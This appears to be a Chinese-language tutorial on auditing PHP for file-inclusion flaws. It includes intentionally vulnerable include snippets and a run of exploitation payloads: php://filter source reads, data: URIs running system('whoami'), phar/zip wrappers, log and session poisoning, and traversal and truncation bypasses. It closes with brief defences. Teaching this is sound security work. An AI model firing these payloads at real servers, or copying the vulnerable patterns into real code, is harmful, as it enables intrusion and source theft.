php代码审计专题(1)

0x01前提概要

嘤嘤嘤,准备开个坑,讲讲PHP的代码审计,也是自己最近学习总结的一些沉淀吧,欢迎大佬们一起沟通交流呀,本菜鸡在这献丑了。

0x02函数介绍

  • requirerequireinclude 几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而 include 只产生警告(E_WARNING),脚本会继续运行。
  • include:包含并运行指定文件。
  • require_once:和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。参见 include_once 的文档来理解 _once 的含义,并理解与没有 _once 时候有什么不同。
  • include_once:在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

PHP下会出现文件包含漏洞的情况基本上就是在这4个函数里面。

0x02漏洞场景

  1. 具有相关的文件包含函数。
  2. 文件包含函数中存在动态变量,比如 include $file;
  3. 攻击者能够控制该变量,比如$file = $_GET['file'];

1. LFI(Local File Inclusion)

本地文件包含,顾名思义就是只能打开,并且包含本地文件的漏洞。大部分情况下,我们遇到的漏洞都是LFI。

1
2
3
<?php
include ($_GET['file']);
?>

img

2. RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。但是RFI的条件比LFI的条件苛刻点需要在PHP.ini中作出如下配置:

  1. allow_url_fopen = On
  2. allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

img

3. 包含姿势总结

3.1 php伪协议

php://input

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

img

php://filter

利用条件:没有前置条件

姿势:

1
index.php?file=php://filter/read=convert.base64-encode/resource=index.php

img

img

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。其他姿势:

1
index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

phar://

利用条件:

  1. php版本大于等于php5.3.0

姿势:

假设有个文件index.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:img

指定绝对路径

1
index.php?file=phar://Applications/MxSrvs/www/index.txt.zip/index.txt

使用相对路径(这里index.txt.zip就在当前目录下)

1
index.php?file=phar://index.txt.zip/index.txt

img

zip://

利用条件:

  1. php版本大于等于php5.3.0

姿势:构造zip包的方法同phar。

但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。

1
index.php?file=zip://Users/l1nk3r/Desktop/phpinfo.txt.zip%23phpinfo.txt

若是使用相对路径,则会包含失败。

data:URI schema

利用条件:

  1. php版本大于等于php5.2
  2. allow_url_fopen = On
  3. allow_url_include = On

姿势一:

1
index.php?file=data:text/plain,<?php phpinfo();?>

img

执行命令:

1
index.php?file=data:text/plain,<?php system('whoami');?>

姿势二:

1
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>

img

执行命令:

1
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:<?php system('whoami');?>

3.2 包含sessions

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。img

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

3.3 包含日志

访问日志

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

姿势:

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

但如果是直接发起请求,像firefox这种东西自动url编码,然后就会写入到log里,就很气,所以通过burp拦截修改下就好了。

SSH log

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

姿势:

用ssh连接:

1
ubuntu@ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

然后在remotehost的ssh-log中即可写入php代码。

3.4包含上传文件

利用条件:千变万化,不过最少你得知道要包含的文件叫啥,在哪吧。

姿势:

经常配合没办法直接上传动态脚本时候,可以上传一些奇怪的图片等允许文件。

0x03绕过姿势

接下来聊聊绕过姿势。平常碰到的情况肯定不会是简简单单的include $_GET['file'];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

这样就很“难”直接去包含前面提到的种种文件。

1. 指定前缀

先考虑一下指定了前缀的情况吧。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

目录遍历

这个最简单了,简要的提一下。

现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>,则利用../可以进行目录遍历,比如我们尝试访问:

1
include.php?file=../../log/test.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。

2. 编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

  • 利用url编码
    • ../
      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
      • ..%5c
      • %2e%2e\
  • 二次编码
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 容器/服务器的编码方式
    • ../
      • ..%c0%af
    • %c0%ae%c0%ae/
      • 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
      • Apache Tomcat Directory Traversal
    • ..\
      • ..%c1%9c

3. 指定后缀

接着考虑指定后缀的情况。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

远程文件包含的利用

url格式

1
protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

姿势一:query(?)

1
index.php?file=http://remoteaddr/remoteinfo.txt?

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

姿势二:fragment(#)

1
index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23。

利用协议前面有提到过利用zip协议和phar协议。假设现在测试代码为:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

构造压缩包如下:
其中test.php内容为:
<?php phpinfo(); ?>

利用zip协议,注意要指定绝对路径

则拼接后为:zip:///var/WWW/test.zip#test/test/test.php
能成功包含。

4. 长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

1
index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

5. %00字节截断

利用条件: php版本 < php 5.3.4,且不开启gpc

1
index.php?file=phpinfo.txt%00

能利用00截断的场景现在应该很少了:)

0x04 防御方案

1.可以在php.ini中配置了open_basedir,来缓解。

2.对于../以及..\进行过滤。

Refer

PHP文件包含漏洞

Local File Inclusion